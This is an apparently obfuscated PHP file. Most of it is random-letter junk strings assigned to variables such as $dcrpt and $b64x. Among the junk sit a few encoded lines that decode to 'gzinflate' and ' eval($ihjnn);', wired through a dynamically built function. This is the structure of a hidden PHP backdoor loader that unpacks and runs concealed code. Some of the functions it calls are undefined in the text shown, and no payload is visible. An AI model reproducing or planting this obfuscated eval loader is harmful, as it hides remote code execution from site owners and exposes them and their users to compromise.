$dcrpt='khBDVavLwZkrniDxHMFitVQZjOWwpHkzOkcKkWUGvEwhmydTKJBcdrCNEyITFSRtCtCMOWRiZnPlktfUBfxEWYrAVZSArKtTcuerPWYPJOaTgFnHLKKghbGcAYcQIUJjNnADjzssMRKsxXYHgINniSQhQsYXlghYugacesTqjEHfaeMhNzvvrKDhbaeMgLLasLCVDwllZSrzxcGjaBdQkfxMfbyMMIMDTnzwJjHhBxHXYMGYmKOXPlivmGgypsBHFzcOIivieBgcnlaZVnwkYEeKkkIYCiFGHgTpOOWSpCUbOubigxSfBWPkGxihemnLSGzfuwxJxQKkjkuqhLUIIKSnGAVLlIVdnUIIPeQlUAxDkqssAmZhWrVbQqlBXhdKbLsqPHBiHxkRMCimOHTjxnLMDWmZDqjdaatpIUWprgfDINpWThFqVqbymnXpDGtcGkrnembVSgyZtMVltBanqblbOIrrnJSTtiHyUItMpqMgBgtTgtHxUSyIAOzNWrfqZMmTUefiurOUxgmEZTatkXAKMyWhPCxnNiGHmkpGBdZyJMbheBAqyAzJXwRlxNzjWFrIPeOrHmnrYpXdpXtlxrvullGIyEsTIICylqnTCBJapGdcDVnZlITytYFrbWjKdLhqAUiCvrCiWekAzXYKGRHypMOrIYaliHBiBiKvzLDUPmunjSxpiENyqaOxYOIHvIPvqYPOJsJXECkmTgCcjOAzONwNaDTUlhpBfdPnUXkXYvjSaLUkzTinfEAfhSZSZNSEQgRKdbHCVquVbNfZfOMkslPYdnqCaIfqOWzsXFTsUMnvzSvdGgNySCVvplXptcEGzCXVgqnaBBwzSqCzwpwnqriEbfsuHvafWxbcmpDmpYMgNNeiCZWRreVRJmLqILwdHWgtKiGYGREtEiafhWxXAsPidAzkKupQPUjzCpWhfZAihApPWkMwCBFeADqjwdAkxiiYxEfbDeJkEXZAhLwiManlccVyFvhbcPzztEZvIIFLfdLMPgvaGhLhjGFnAlpCAmASQYMXgRhlUSxiyRidYUkHZpUAZIBzUBQjzcGFTOqNfNWEdEHcysiXfdWfkxdfxupWwVapiQBnDWRfBYHyPQvUTrzDncIKwxfrRGFZwFMYCdDcbkAqavjtkiVXKdhfAmwQSApneaLGdOhEYhTYCDQlkLjUOrzN';
$str_rot13='lGqXvKGdpitNdzBuYMWLtFybcNcfOpEaUtxqDcSRkKdnidggPcrhHnIKajpPysPSjLhlNzCXjFKRhQyWsnEYCLhCVVrSMFKWqrhCQKzzOIqWyNsPbVnDHUEbQVTCZEXPUFrjpQICXYywkQKLkXNrSsshMLiLpgAILRSzgZADxYYInJtXfGpxXfEJQNuEtumDKEBqDaSAyrhkzZIEFWbbBeKsrEVixHLgKLVNlNmiDTubSbGXxgYXKiObMjJiqvOaFJNQVzzzssAJSFfpkELVMZwXiefyYtXEbjTWIsUzJviBznpKRAeczAZgEedcxbfXkYutQnRYIzZhNNrdmvgkUfQXKUZGveEeDXWSkOQtmPZzcqDpjiZdnPAxiZdcDHhFdDxNrNFdCECEtEtbMseAGeWpDZrffXLIBHVruAuwEWZwARyMIblOfhcIHtnlrYUrePHzObUsxtOwklhsmSfSahZgBmRrKkHPzNnnOhFkA';
$ERRreukQ = $RmQGLkZG("Lg==");$nHwFZdRE = $RmQGLkZG;$DkINn="hHfcnatpmVTRkIuOVZGWLVMXOfEyaMlItrjfsCuEyMUhunvOMaLxvxUiDX";$mfw="xrdVlWRGgiAxAeZyCOVquhxBPnOEsbEOsgidcaiJiIFhlEem";$EpNUFFDC="azHPXSsaifUSdbPciGGFeLV";$xEGk="HvrdXiZgkdjLieUsibEakGGuYeRHK";$nDm="CBXGkTqCQpDACDwZpfdksaJxhQfDRVZuxwzgOOIFClEenADCFGmwHVSnkxqc";$QPaUfkL="kgKbIRQvFQRUemCXsJLfwFTPDTzdHCxrhhtPyIJdyBxCmyYEHJJCNcsPVqTcRqtYWknvTWXQWTSirQNxAVZMXQCtfvvxjNUGyh";$sI="iacxsiNgTHxIeHjhZzInRCKKMjXFgxwOWykOHXuZdQHixQqWOyJFztpkCmphiK";$gI="btSTtlPIlGYtxLcZQFbcUgehNWUGksPlLhEDStKezhWv";$rXjnMh="KattKGhvIqyCVbvieYZfMTYQvyaEFsROskgBqNwYdTAyuVfytedExb";$pWJXjDy = $nHwFZdRE("Z3ppbmZsYXRl");$TtdGHiKm = $qbPxK('$ihjnn', $IgVkLAfdJv($tzTVXlH($UWbtSKs, "32303635373636313663323832343639363836613665366532393362")));$b64x='EWDyfJIGfPQmVRLFUBJblYeIyJlJOfmRcpOHXwmDLCpGuZknatOlRStpadynjjeLyTsVOdyYFMeyMOkMHYxyqplQRidAsIkqabkOEhmjTrgeesqkPlIFAuvRbXrTFbiFcSTgZfPSVVxZMMKCYRgXkaOMXfFDgNHIFAOEecVZYszjEiLCZrYKQNwOsaQXmWFrxTuBvpBSgZcKHmLGEiqTvLgMkwixtOmpgGPavPTBnVKuhUakcPeyBkJkHShZfunLACLUREUEzEYgyyrZmvxNfgyMyFkDyXnXYYRPckTBORHLpyLBSHOXmliKqtmNPZkOYbDamVaAMhLAFwBWCpUPZCYOvlBjKLXImahYVIXhPIgTDHPfvJuTLsHfcIONSlUElCCGjZmyHurKafPwpIpZZwECdsOVDIAnjBuSAGqHZfrAlFVZmJyLebMHSADViCIRcbKchzJgFzGqdapPjMZNmMvelXZTzhLaiUcqSkWxJblMcAalLaYXMSCXPBRNhbnrvPfmabKidvvFVvqfvNdGGFEUFUhNvvDPjIbJjksMGMragffbsiHXmKsSdzeyTHmCOOLXYcidOYdudjvwRCSEljwqIZNaGAcTNmrkpzpCyRVaAQVssOVDxQsFPFFUegmrtDBgCPIZHdzgTvXKIsMeheJwJOPmUcDNFdTgtCFzeeeXYcgGTSjbwTWegMQAOtmSWGzphdmlHrIFSOKMfuNCMiGSUWshpeAkKYYrbkbiCiNuWXfBrsccaiuuekCSpbdYZBOAMPINXVGtsMUIDwjDEcXhmYaCzDZydOxPcfbaaItsTMzwihzljVuVTuxsWWpzjLOlQPlqxeHqqFlXMjjvecrXVmOrICPRmDdDSOSpsZeIdPFQYnKCqAzkNMBvnrmZtPCkDUZVtdcwsgLPvwrKvpvhaVcNLOMeDOpFhNZAqbVHigwDCMMWagEAcfmmTzrVMfATSZSiaNpItLkUWxrXDuWezJsRhhMtMLLFKDmkPBSiLDCIZseCLagJJXZqekhRWSVfvhqKhISTkTBjlekweQFnNEcsPkikcDPXjFHrmYJxRjfCNPYSGcFtGHjUrREuuuQDYWukUcgkMlNzAkQfmvYsChMSZqLSJBVHWprqQxBChNBIxrmilkANSlerbQiKQdRNRhCIeCJlpjtkaGtLqtyhdbyeRgphjfuBmViryRcMBvxBapLrgIXkJVOabchKhBkUwtkTKmfKICKhqvyxcVHLQULRXsBESMyOEJHNvlWcmGKDaHZCCfnsZyIwQjahvyVyGcLbnHDBnmdNUcqwhcnGAVcPEcXyASWguHHINjiaxlnrNDluFzZEvbuydrWdISJcYqKLYslvczkPBxifvhJpJCNlSJpaaxCylLIkctFeRqTRlBWGhfvQHhcZqQZPnamzLuiNNnRdDjVOjrTrwnHDUibJYAyLAjKkESxrfNuhWOvFfOVaBbDwjdEIDctcLCMpvieZVYHrMbVRPrsrsulCyPjarbDcEOQyXvxstdJEFdVuumjlGvmDKwdaWfCATtXqNUIFxQIbtDwNpeyvAKXjFaJBFlbzdyOQsVUPkCqEFLQTqnNPXLyCkGCQRDOUBbjsxDGHFWKjgACwmqKJAHKKnmZEpmYPpHhLkmRpiCXqBzLOnwWNcHXPTwuHJRxxydHhqywYztnasyneTjswqOKijDQsuMnspUzdtvbRmprENdifnAaDnklWNBOhmbzaWxdpRfFeTwhGzqllpLpCVZYJAMqlNnlJKpxbTcfNXMSwCdhQPwSKvQSuChFpvqyFdUGXwkjtWbpXFwOTRGcLVVexCJkXyIbBcHyyRgRmiFkNayGrDhBycFuFNdbklcLniJkzPbLxfvJfsOVUWwRYaKcmOdWzFhMNqwlEyxbcRKiJzDDUZvSzEvlsXhQDpbPEyBivXJxnteWrIZkguDFXxQPuyewMGlQDMyxJgtwYXtqFsZkkbpHyfVScaNOfYdIKBESHWpGTgvXXThhvxnSbjjdjxrOvvwFVZxcvkhpQbLNuTuOPIgqRPSAlinHciLyHHAbsgPhhBvaTOPhVvxljpLVxybZfMxltwnKCCsiCMivZxCVRygBMswJpWIvIeGAZtKBVbiWmrslntGerNecEZkSVsmDVtDULmvfNDcZuTKHLrkbdPEHOOYKglMbdpWOaQuNTwMMOWSzmcaPREVfRTPxEazHqUVqjpdcjpnXkfVWiVLzYGdQASMDTkkIEfXnuAPDpdZYiuVQPfPNMScLkPndzykDcHQVHFyVhWtrrnGfuvsFNUPXJcAHaKJCrzyXEvsLsLBhyhMrbdVOXKLfmkNmuVOLvLIygaiykjeIQQZRTUGreQVrBhcUdqeybNVhmDexliebYDTrXYgbncRnjTimIMjJzEqkHugSbLUznmQkKwLXXCLhUTTDFDLEgbnmvUfxFzVskkcUgNrdPbKJuELzgxCMypZsiEnNcjFmTHGZuwDiymsRqcPVzrhwGgOOKbblKGXdmcCfyeOVRfmgHBCgSJbXPPkYrLJarGDchfIFJwaAaMgHmhmEQpBeDlcTWkuNqwpxaWbKRBJRmpYAwKdlyeqbqRuLBmXQJmmiIOSApbQCqOBMYExwhmWWdrIeceUkrHuzULYiMnjcCKOAOKVVWSSaIZeKdyvUeOtYzQHldqNFAaeNKAIHsZgZykiChDVMQnjqDQaGGNLfNPsxpZDfzJEWtNXBPSmGFwvhMUnRgYwtmNpblSgKBLguXdUlwGraBkIMeVDKtYcFLRGxJmgJXmcuQwFlbWlcGtOLnsUfPXLanQxWccezqHSFcXQEtBGYUuiHkdNAAyANnwiQympmthRwEHzWIeUCXdiIgVhfSgSGCawzMKMfRcBvKZQsDktZnBHTWOYOuQuVqPUbAGgQIgLRfBIhLAhybOQxcnkwDeRStLUSQaiXHtpltw';
$dcrpt='sCskCNwWiSufRsKuBORUQIQWzYcgSRXJSPtvCOQjgJpXbzQCmgwCPMynjavbRRjJGDDHQTRWCftcEJEqPARElqsUqlWGcfOihRPYjfuLlNOpwRFKrwObkfWZrsFSWTAEKPCTUVdFhrUcizNYuBAFfwEVmJNICNllCNEViHBPyUSGtFElFDQKYUFKDRtEEEpFRSBzYBnwvFBmJFynhOxGhBqjthNwlbBCtBaQBNmVtNHBRePZsLFYmuheCuZNUApmAOdaaPVSbCuTgISXtWWeqDiRXidRhREheHhfVDxWEQpjyGhrCDvSfdiCLMusDxzhDHmyJiTmZixWOdMQGHIkKqNUbGlecklFrXCZfvlEDhaRKMHPtOaCDmVeShiuRTyhqZgUuRzxzzNiKTYdgyeJKaNbHvvyNSFcRkxKbVgZTTiDlgfsdKbNKnOQiINvARXQbuACpgCHzKJLqPctYDFhrtXYaKtZaqPbJODxUEdTnNEcbfUZJzgzrDxQMPPMfdmOspLlTOEGahJBncZwCFUsHritfxEKBQYSfJDyWhdxOlxBpxWqBqHiGpalMFvMvtdZBfxyMauBlQbAmypnNWwTKwEwayhVRKuRQrOCrhCCYdCKBQXNlSfWpisOHZiXJcnYtcBJjCKhFlsFcpSnhxjVGbJMAsiiuwHMXhUhiEOOqftRvkebhOWNPeYOwGWPBcazjUftYTGNZYETJIuQVqcjTAXqfuEfwFdfYiXwcDiBaMTiUmyPbAzuzwJd';
$str_rot13='NrGnJMqEPHdMpgnQtxAzDKAqzWiOUOaHEfvMSKqHQSSezfurbTPFdqUbLCPFPqMTvgFMqvSfMKJkPcBrWQvzFOAqqPuFeFXzLClawdFiOnScrTSmJmknajcQYwUcBRClSmMpqQWDeOfvgXgPkrCKAEZzATaaKCLcnWrdNMGRALLHiRVSHyCgbCeaUfaegMgvhxyUIDkhOVnWMJOtgPZHQDIkIhpptvJBrGUYifFWatsmbfeHvdnKgvUOcICvcKvSqPqzUVUunmfORkvLNIwtDPHeyiYZTuSiIhgbCBvPNaDdKxPWFKqhYWlwejwxcNfKUlLxlGLyfOCPkQkpZAwXwgTaQOxsBbCUnMQYRbxWpykYNwnMVJiRqBrFpmWppXjbKzZBAwXOthNfDArYIApXAFbPryDFvlGELfFKBCYuJk';
$b64x='VFVQnvETzaAfBreTgOPPpqjeHAEBYjgtOcJbWmUvnuZOjdgQsVFGKOjsOmslxYFKaNlwZfqMZqZiSgyJbcqlrYDEluPhsTRRGcmfIcRgsROJXmtyphJefLIrFXXWqpnwrAByCREtItceFUctbkXgweXaBuWRIJMzjMWkDadLtFpxzrpZCLfXQCxrwSHdCtCkeYUhYXSQCgMAXazYMevbGRsbJzFkRgUwePDCMUsOAdnxENUPRpqWfgypFczWITsNIuOuNghmJVjMIdaztqUXxslbukXcdOpLHcEuIlHRgqcntdMktGiPyTrRdNtgCgrijVDrGJHMyKZqNkBFqiUNbkeFXWLYdCHMxJCCRjnptMEFwEjklDYnmCskycIaEpMAXpBOyOCQZGUUJdfVgDIteZcbBLcFzOExCfKZtMptsImAMRvsuCKyBNZcyBgWpKSrPcqineaeMMEXEZpxazVCludiUjeItxYiYOQlsqPDBtaERpbSmwTyPWGiFkQxgpeEcUPuJdwkwwOnkPFxkyVzTaHXkyuQMzunSIgbLClhYzUiOzFYWZXpaElKBFBMDuZVcFWNhHuFFnmtMrRhrOwQsHZtMZeOuEiwieIPkcuQqfICxzimmFceLBxWBaLuEtpmXWbhyVxnafPxdXJQbkUNlQilqtFUMTgJpHqmCNADsOzvLIkmsEzDTHOjaSDlLJUAqjMswluNZSIjZsVsWuupBiyBaAllIfLyOWPkHixfAEpAWKrsdKGESEEtdPEMuOjIjySQGOVFtJEOtUfWFLZWOdOSSRdMemunKLDPYXurHYezsJUwvUtIXGApycACOTqyESMDQGtWdXUvGPRAiJiFphtMkTOYldWqvhSkNKGqgBLmPbMXjubybuKlMXJYAenUmFfzOLPVLZhAAtxJmXGnRPYDMHBlMOgySLWHVkCHjigJBdRNAyArMyUzFvjQJPnBZJHVUibdrhmsKdEkaeBNbULGPuwyjiyISfDMNdpElBVveYeEcGQEAajpvfldnjLFOOraRGECGYxjXBnzGdCGeMuYrfbdplJCzZCQeGRkdnTApgZUKBAOMulCzMGmXpOWNPMsvcbzrUYebxYLyYYJRjlqVrCsFPnREzizCjxsEUwFRTPprmxhVhWQyyHcmvurtCPUllLPfGTWZhKPuHxpOtEmrKOcehtyjhRvSDjyICTHJdWcKtQyLujBDyEIFWfnEwIwyrTgSmmaqiCZasWlkGMOdqwhmawQVDLuUeZlrLmfuOEuGZFQFsdhgYqtykIuNTmHXltNWFSqSwjyUnOAFRHlqwENfMgTFtZbdsOawGPOByLvMzuQQBbfwGsCRzvwruxvlKUgPiUqHGjtEEiTEKyZqQBGOvBEpxyAgsGVaaKHfTziWgCAQZZFpAkCVkgJHEimwnhwNrCSKABGfcGWBFaQELRYVxHcBppWcWRPmShWsIcWKISkMtAPdsnyOUApJPKLLaAXSHUJOWGydXipqIdSzrrNLQBuFlEPldNEkgmyCsweqEteLVXKmnxxdXqiITXUwjyGPjEQCZURcMVNISxuFtQirfQYymsTxpZLzDCaCVREIlQPENiifyQVcGuATktPARZYuBYvWpyEZpSDBalGXbbZhUYaeQpEInCBpZWknTnNHfqhFanCcpajiyJmnXRvKSWYSsIFkVsSAhzEhMFJaesICAVQWlKHDfFUxNAhIrzIXXLFKrNjvfSXemmbXwIACMvYzuFHjDpHBzlKPytKDkghWtiTnQTPCnnbgshqVVWVuHejfxthhzpdrWxEMquOcgpiywXtrunKaRtFpLmVJaYZXUEiJxWLDKTAfRTVkGfKyyPlJbgsbERyzvHhrcttNlSsCLnlRtWOqkZylFqMigKgarOrSgiFRaxulKeCCAqrKOpVtEhBKRhjHVZYbhdshALSJqukPJaAxpUpSbQbsXKysJWSQZjyzvPhKjRzsrYpfTDXuSzlpIiGseyHDhEbCuIlcYKTPiHUBKrUCpFrXnwpRuvvBZVcSdnUbxmqFUjfEBAFpEVlRRAJkVD';
$dcrpt='AbZknqXcaLerEYHUKwMAmsAUmSgVIhKiiitwYPYYAcpdAVXkQjjCaKWMbcIKjRSRaKmYzKwZNKCMeZWviGWIqSvruCacSsTSbGqBqLZCUBpzAKTIqprFHkwaMwDEnwWpbLPsxOTQPHppsHxHWmMcxhCIceLqBHebSTSphMEWSTKjZgrVtcxpjZWLDIbdOfFGyxueIYaBrkKqraLKCHYLGvxjCXMqCrwZOpEVMdwCnGSFfcOIJMtPGpyhLjymatMngqiTtFvHKMLPOzxXKqMrEjyPSvbSmmfubOmvSgBCTLrgjndTDpJGyhvrbWIpinhkbTetZeUsPKzyXbrArAgngaEhWMVfZcPAvtsvxllLvKitMYsCyyPEzTlUFGzdincDfuxbeJMzSurdSJFPGvuENezsjXUsLwVQPRSTAdRSXiVPRBExvxBhaZYkwsCgNWxCnOUNrkentaCJagGUcgBdfzNBQOhcLEEYsXkIhPwaPXJpdpiGvJJZHVBWJhYTLbRcYCjFQFFFDpTfcBLyjTxqOxlXEjQOkhqIJAMzEsDgfVMhwWeeQbudyFaCnRqXYGFgFQeihgPMbBuWxyAMzTqxXqYkGnHdtLJXBmgitVUTVnpslOEjgTGdIdNORTRjEahfmNnfhHycvmTfaxpHqvjyyxlpqczUCfzpsluzSrBMDuRdrGKGatDyPOmfrkzSqXggiZFArfmtYDwpiFviYXgNMtsCDQusNayvZCVqgHieJETSJNAHKfTVXlWZbrrprnJqPdfVjNATQSkzFjFOqzjmjfmKwcYlQhbeKGAUtZmiRxIVGmJvkSIuYuETVbfLIGQtlqMEOyleUTZZGhvqaCjyVNQQOvbWaRplGApuXBXrTWPYDjpDLXAfKrwXLxtMNgxtGllcMISedIdGRRJcOiHXYCuKYNVkTRcZcNBnvutybVesMmTZvawuCpDBbXLvnnTraudwNVtnQWGbiYAdYVWBkYBLVLFIYyyZSCUexmtNJyORVpuUJqUtnvEIfirEHODYPWCMIuzrRMImabGjsACeUfNzODcUQeSGau';
$str_rot13='XlLdJISgZUGjSXWXYpRLeeTckaNBsNHpztthakOAEuiVreTOSjYxORzYsLZJyGXwyPEYAsydkfZajsOBalXOdwmvglDeRAAPPDNpuKsEPQEyhRYIdwwGRIAyTcbkbBZQElEXVwbjleHTweBzAWEReDpXeqHfqGwtRzQlURvgVBzrGZpfvsWzUkWYZDEPJzHZXxLSnfyJgWzMvORpFOnZyjxXlAluYSTwqENDiKLpfkaAySncfBbDjYZVykpWdhsSkEUunGhtQisnAFqegRHPPgKMrZITGzLRcfKPLRHBzYOydDCJTJyhPiUFHbzmBJDcOmSYEYzCxMaAqCiIkfQZnKeuLcHLLJOZWfxZdWBZIBzxDgfNmVmZeruptAaDinbESzDvUEvCETZgAEUlzGkcwdrOcQQlDSPUQSqKVKLzcjGCNZNLFyNaaEndTdOWvcQKufupPfOsOutCtgmxdAWDdjf';
$b64x='UktdBOzASliANyCUIpPHxqJQVHXlOXeIhWkiKiIbTqbHODBwRPcNfkcARZLGWqNElyMwGTxAjyGXaGSsvuEZEHzUGkZcZNGkkRGqKDpTaUqbAhSVawUEcTziDykCKqlugsKqUYJUTYvtGmNGJhkkaitDfDeQsqjXHtnBswVKuqCzcqfkxPvxXOZcQdsiSCFAusALNvUhkxfMMkWIzrewedYVGPDXQhWkZxvMrqtaMzMXJIFIZiDDLBXQrANghKQgglSWBlXMjiisrmZPvDsFDqvTphAwRqCxaUTBfqMOyufOGfcAIvekjzEygDUxsVutPmtuCfhzYnNFSPEAJJjSHNrNPKkhFEAUQSnRxVqwiCAasdZaMItuViGKSQRWuQqJJEAFzqagRZGIdeJpMBhHJOsaEIWyzmGHqGlnVMTlLzUnDcDODKwLXmLbUHztteZhjLvExNQHljVnLXCNgXyejifdpEWhhvpRfjvbWkJITdvdaWQgTNkCVPfKSBraVFRBnLbKWjRpmltmiiTBwdDrThALIQkcVBDimesIniwBvOmcxfcSjeICliMTyxWtxYbictQQbMrwADXwJzNsEwtPdeiBaEuybvfemwunhKigMfDveqlhkEwniEpIHIfJCLmOgGcnqkubQwWuMhBwlWjuaybHFHqgsCuyhVkxGEYVaUplBPgMkqfkmHSRNhxEKrBrlLnROlMnFAYfOfsZvWjIDbYPJwtSlTixdwOSgZFLAErnJhmDdWkgxJVfeOXqHGlkBZCIZgSzKIlSPYVTUfZrnuWRhtGpYSzAraHqgznrhZIWXDpRiNhwhDnOWTcukBTCaZrHzFxfEeBBhQRqDykjbyYXRaQbbjcBiuhHYEMbJnbqDSFFqpPQmNmdmdENmHpvaVCyAnYIaZXcRbIGqxxCJJevMJiyPWTPRvMrhKyIJUKZVsFlOBmWksswaZUpVmdMHpDnYAVHvGfqxKaLLnHVeYQEXjSswveCJgQHGLNAQSqnbqYMcegGDXjZgbscwVEEbukgFXgUpwHrkeCnjJtMfDkLdCNZxRDXkOEpkKJZFqqPvRCdZVpEyzqBBCAXtDvErYsahaZMQOBKfdNEyBiVzyVZZVxtyRwnpmNwNmHDaHmfjzKHZsbXPXXnsTfPKaCynptaBZDbGpGqNPWlgYivvFJMyOahPbFCPXbQwdRCsWReMmqskyNFdwQaJqiXrmYgKZWFcmguixXuKmMukzZNupNCFvAVhXBrXxVziCTsYQLhDWCNvaZnpMQTHPpOMPeiMZIUaaLZqWgSSheNhdaxqqPWedKrtOzEmGXnGiMWesnwAtiHVjdkztgdwQundsrQYpddxpZa';
$dcrpt='lYSUQGMyxUXfRntNTKQlzPnmZhCzWcZharBqWMNtHLyXyRKraBCYPpknVMlROkynCzEykrrrBOpZeyPEysDmfNZbAksNVQbWOFTYVjPWyDVbaKGYBiKHVKhUuzIpOJkCneaINPEkRzmrJspjAZqUiWPCwxrjfalSElAsAEbrCngkeVUEUJzCGndBjujpUvGyGFPfiRVLECvJxOMQyksDXvdgpmUihAGNfVtnlNyPpTXkHKaEusGsNJXBwSicROpWiHKuUHjiAGuHqTKKlrbyzyYuqgwhuLDcRmwLUeuTLmZAfjjrAKnyilsyRNeLXINpuIZNmSgXefxKpganQplYZDWrPaBmhNBbvZOHSUdwAafngGCWumvSPridQiqyVQzQQmWIHAdgAJuGpvbIHwAVliZcrpZMfybvjxCqWFwwNqBbKDiRyilKrklgZksEhtYQQZglEbIRrISBKBRiJcszNDFlmxPTpmJElpQprXfHFyhPYYXgBpFnrJzcfNVvzdyjtnXJKdqPaXEyVBEVpIiFrgHWtbQRenAxbyfLawAaSdXmdaisIQWyXcuPdjgIXGeYdkJdfJDXMZjQZRhgIEeefyTJhZrefvcIeklJTOfGnPVMGCTNfxRLULubjjFOdHxiSIrkVWQiLkVQNnEsKvcdFVFpejciRzQiggtCCJKmteDfsGXBAZFfvju';
$str_rot13='fQTuZZLgtySUQHvKYJlbrAKLJCSezezEuSxSrhYJFrcUXxFwFqxWpGgXhYbGCaJvSgmiNLrSBTMyPQtvFpQTUWRCVshWsrsJWErJOhBpAnmpdFiJUYbOVSqqkXLbNckJgasUhTJgGVwiAErTDthXKWMutxVfZfOffGzNYhTdCOlctcvvUCREYcYrYtWXyKccPbpNiIQLwCmOEgIXiYBgaYxZrtwnDYrRZeFHMURiVdwYKeVSCWYDUUbLNxYPvOGuTKBFesmZVJyFmtxOpUQJnRuaORpiGvcYeDcIuqhpyFTKxPXMiOUWenWSELBjfcHJFKsyZzNxdfGAvcLcQFYvsvMwfmFkpMTtwKRvidrliwlcywfObdISyunDHtmveGnAqeuzhjjPeUSCrxPRAxiYRxaXpnRttesIikGPTQeXjwYASOrsKAPawQ';
$b64x='eWwtlxsFKmGyNYgbwAcqqumfzkeXPPATLvmwrdAaqfzdDeEYdfNtZzYyJCVzrvRBPDWFGwGwaEYDhbbkgndfmBEVcYTttktHNplTjrOJUMLBNMlTApzMPCgrAaisKBYxpJPyaDGuOrVBDgUcUSniuuztTHKDHhAVqOSPRyjFOEgrKAtdsflLAjDtqmwWTvRiiiYZGHFukkLuKDxBJhLIrnaGAVbtqsaYAYXfFbzpLJIvMEvvLfcBtCGSXHKmYLKXihcnibCuKKnVNJqzORzhTfzQlJCKTmHbuKObkQvuAJqmsekfWjMPplFZuGJmSrNlACNKRhDrQScHXNNtWYHKjLJcrSpjicUhdHrUpTKellMIyYaTWgcGRMIHdxqlYkSBrivFbEjMpvuNtTGOZJTqUbXXXmIVWAwNIqsitaVHvOumIaBgiuxcUTZRFgMbGHONwFvOGPwAEpNLOnRWgNYbfxSkDelILzvHdqvieqJhewSSijPpwmqCKIMmMxVWVPDyeyHJNPQRKijSsYgNkWOUEZHqwblQqppUMVDYKSquazLRWRFgmSBQSHFNhrExFSrQmtOWLdPLbAcXQgEdYetqkYdspHntYFikxwGhZvtauUYJablyFFOPcRGQXTiVyQFvlkbkeTLyNiGNjSlOWzDYPinMbVgZLLTwvUgznRWaZCniTYWPxYmlGZxgUcFeNyaHSgffxBFwCsdwqzKlxxWCwtIrvNUHkUnCASgWtlsVDUrttAEpWBQttYiOLcUvXIxWADTTOKORFEjXdNMaNbSgZaujcnezvBwVDOORybIcerAHDlgrmYWMyPvaczzXzuSCHfSfGAhKqgQSsXIevdQTSkTvjRshLjJsOBxuAeDpkthcqpgLtwdkfWFONwWyFeQtfMlFQOUBhBDWPigHdjsIfWxtSSqxWfqbsaghPAhwAKROsYwUHNDmizFarUXMAMnrMTyatfVspNfHkaaRNDDwBhVRCsdBdQRqJOqBTlSiyxpIypYKsCfSiBjKSMKwCaLKpAkHkCPIYDPwsOgJqLaylJIEvsZwSjfgJPNuQcbPeRKweqEuBFRlNYPiQndIWjnfyazpCZDHqMcuCHNcLeNyCcfsqjZmSmsqNqdOpGvFtXYudlwnPIkrKriaZhMRUDGgSKugqpkhlJaOUwBiELYnBgnAOzQhbxNTGgAvvKcftctMYTUCFtPFYDflbVtdRFwxMVSGGUMyWEkUyEVCWLgvnLGpgzRXdnUpIlVNFglBKwVHZqiwaPQnAVcGutdXfXlOiGaNMlNWghDgylbXarLAlNGfFJCLfNYNuYAFkMarudWrpXnONyNzKtEqBfaGsYtkwsqGEqxxStNGQAuDYHBIzeXaJxfBUzLrqawTQSqILCOachcAOEHnheNRaSsVQCLgDGzSYpZJQNisvkriOYVWchmcaExQfHwhnVzljzuzLCRfMhOBFJWgrijrlfGrNcYaXxlGvFeggvlscZsHinOzwxpHCUyOWVOtszymDDtixEBzdsglGujBQyIRRFGOATGrSeDUgVdDZdccvINABWbQTJHKnMXNfdDxHgrNBuPAWrbsyORYjsOCaVMNgJZlMDISiZFJSUJPkKGiYWgHOVjnqVbwdAIqCPhKnmuGgCUQlZYJVFrJAZxpuyKxxRlZHuJufCZldTBqsZynEOwDmSRGPBDmSOlzHusMWRxZjyOCxmpAAKCNcttrtvckjniqhacdRzcaWrCSDQscatPCLIsEcvnLhWbpWDsmBUmXkpPNEHpdZEeklxnNRazYWZNsCeEcYrZIFpUIVjluNqdyMrkcsJBnInfJsJMQZLydZSlubxnnMrLYIvaZeBMlnRVGagVzRSDrKnjkKxXVOItwDTUHufshxMNWShvjZxZjKiTTGRpTYHOBAIhumZBiLNedUAmtWLbgTVZYMNRKvFluMSmzRNHcZMFtLrMgbNmUhMtTYjEtppmagzYymGZLREeCuQhvcvOkGgDEr';
$dcrpt='XEztDWYBqOdBXGBqvPlYqdLiyhsaknvhRtaTqYveNXGKEGZyvLWjOHSlpJLzWfHNzHgnFBRRXxaBdazXkvHYBYJPHupDYVPWbVjfVBXTXXTAxRXHlEemCNbIgqkFKZBLvkRqLnIhKbhHSeNEhSQieRQlhaqRzQcTAtJkfrSPRZVKdJNKaDSeTIPAhesGvTAUlIFryWFqVazyJlhinZMggCHnfyTZrSubAYsyuwNpwllEWtMjRzPXAwketDeJwyKvVBSpXFctqnxLfiuwgjtfeckyFOGAlQVgQNUmSWGhJCtnKMJrVBVADfXHTchEscjipdvgzAOhbgvlSdCnEWNGcjNvLUZdwilKMfRkGetHkmsCrtPuqbAsKmlwgKzbtjLepbpUfgbqutSjlgcBiCsSODNuNlvfvGJjHxDNEECxxTGIAhihKZzyCmSpyMTtsCbZZElcImzeGElfLTmvSLtTxKIvwBmOdnmCRXEzJCcpfnTqGfLyrDRmmzHhzTvbggDydGWNhZbmMVctAmqqPgDBeJIEDDeiJIGNnDZVbAHNUJFUVVjKBlkfVtiXVmfdulQhOpcpPJbJtgDnBmybXIGsAOpUBUYUfnbtDdHsmhAFnDSOpqqlyVExjsRKlPEQCfieIPVUxVzKyRYMGnXDIaaRtRaEfeUHjcMRSglObKyYawKHihJRhJIZZidEmXlVZxlrcxeeHccgymmHTWyaeFAemDhzAtTYpfPsCTwIVXPTJbACXxccBCGnENMdGGBUkqlljgUEEixMjwpHsritsOGVaRyGWyagOLtxSMAVUxHdsvjKLsCCFHWGyuLUsLafWSbOEBiyXPbqkkzvDaxHgtmdmyXEIyJEPjsuKZrIpRXYCVtEvpkBIyEuvbXcYfHNpyGYyxfMnCKpxCSRRdRYaVsvWpxuTdghCmFzJLkwmuLKVcalfSjFNBZJpxChZIpaUUzceiYrbiAxkBIQtsvfSvnhrPpPWdQrxOSBxQryyRuJscYjutOLmBscPgSLjhBfvuGRJwPhmiqdKnmdfAptaGvPMmavTaApTFFDbTjncYRlLdPQEdidJdTVqtqJtQXmUbpVVXJxvAIfcxvfZEjJHCdwUtEMIayDclXxiGTcfahiycnxGWFMyIHRBlEIlBkNNijvnCyuDebAgOwlLbXIieAiqDRadBOQiXlxAiqCmrbTExepXCXGGWOvzevCGItOGdKFlZgXqHqudvIBwegBauVzYPBEyTRDwCHgaNDQTTjWNRWiwCJwWdvUSVXPnnsipYpqkrFdjOAWewEAYmwuPQNILjx';
$str_rot13='hlbcssVAdZSSAQxhqWsYZcsFFbJlquXxFYYwqUVStnKSDgZS';
